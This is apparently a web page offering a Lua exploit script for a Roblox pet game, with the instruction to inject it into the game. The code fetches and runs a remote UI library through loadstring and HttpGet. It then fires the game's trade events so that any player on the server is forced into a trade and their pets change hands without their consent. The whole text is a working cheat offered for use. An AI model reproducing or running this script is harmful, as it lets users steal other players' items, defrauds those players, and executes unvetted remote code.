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Get the Force Trade Script [Easy Free Pets]

The Force Trade Script [Easy Free Pets] code is below. Copy & inject it into the game. Enjoy!

[?Twisted World?]BGs Pet Hatching Simulator - Force Trade anyone on the server
   
   
   
   local Library = loadstring(game:HttpGet("https://raw.githubusercontent.com/xHeptc/Kavo-UI-Library/main/source.lua"))()
    local Window = Library.CreateLib("Force Trade By Momo the goat again ;)", "BloodTheme")
    
    
    --main tab
    local main = Window:NewTab("Main")
    local sec = main:NewSection("Force Trade")
    for i , k in pairs(game.Players:GetChildren())do
        sec:NewButton(k.Name, "Person", function()
    --prompt
    
    game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.PromptTradeAccept:FireServer(k.Name)
    wait(.2)
    game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.DeclineTrade:FireServer(k.Name,"Accept")
    wait(.2)
    --place pets
    
    for i , v in pairs(game:GetService("Workspace").Pets.ServerPets:GetDescendants())do
        if v.Name == "PetName" then
       wait()    

game:GetService("ReplicatedStorage").GameClient.Events.RemoteFunction.AddPetToTrade:InvokeServer(k.Name,"Add",{["PetID"] = v.Parent.Name,["PetName"] = v.Value})
        
    end
    end
    
    
    
    
    
    
    wait(.2)
    
    --accepte
    game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(k.Name,"Accept")
    wait(.5)
    game:GetService("ReplicatedStorage").GameClient.Events.RemoteEvent.AcceptDeclineTrade:FireServer(game.Players.LocalPlayer.Name,"Accept")
    wait(.5)
    end)
        end